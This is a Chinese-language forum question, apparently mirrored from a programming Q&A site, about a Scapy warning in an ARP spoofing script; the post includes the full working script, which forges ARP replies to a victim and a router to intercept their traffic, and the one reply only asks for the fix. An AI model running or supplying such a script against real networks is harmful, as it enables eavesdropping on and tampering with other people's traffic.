Python Scapy,ARP 包给了我警告,我应该输入目标 mac 地址,但我这样做了

问题描述 投票:0回答:1

我有这段代码,我想自动化 ARP 欺骗的过程。 你像这样运行程序

sudo python3 arpSpoof.py 192.168.1.1 192.168.1.101

第一个IP地址是路由器的IP地址,另一个是受害机器的IP地址。

这是代码:

import sys
from scapy.all import *



def arp_spoof (dest_ip, dest_mac, source_ip):
    packet = ARP(op="is-at", psrc= source_ip, hwdst=dest_mac, pdst=dest_ip )
    send(packet, verbose=False)


def arp_restore (dest_ip, dest_mac, source_ip, source_mac):
    packet = ARP(op="is-at", hwsrc=source_mac, psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)
    send(packet, verbose=False)


def main():
    victim_ip =  sys.argv[1]
    print(victim_ip)
    router_ip =  sys.argv[2]
    print(router_ip)
    victim_mac =  getmacbyip(victim_ip)
    router_mac =  getmacbyip(router_ip)
    try:
        print("Sending spoofed ARP packets")
        while True: 
            arp_spoof(victim_ip, victim_mac, router_ip) 
            arp_spoof(router_ip, router_mac, victim_ip)
    except KeyboardInterrupt:
        print("Restoring ARP Tables")
        arp_restore(router_ip, router_mac, victim_ip, victim_mac)
        arp_restore(victim_ip, victim_mac, router_ip, router_mac)
    quit()

main()

当我执行程序时,它开始正常,但是当它执行

arp_spoof
函数时,我收到错误:
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.

但是我提供 MAC 地址目标 (hwdest)

我应该如何修复代码?

谢谢你

python scapy arp
1个回答
0
投票

我可以看到你解决了这个问题。我也面临同样的问题。您能与我分享解决方案代码或解释一下如何解决该问题吗?这样我就可以得到帮助。请问?

© www.soinside.com 2019 - 2024. All rights reserved.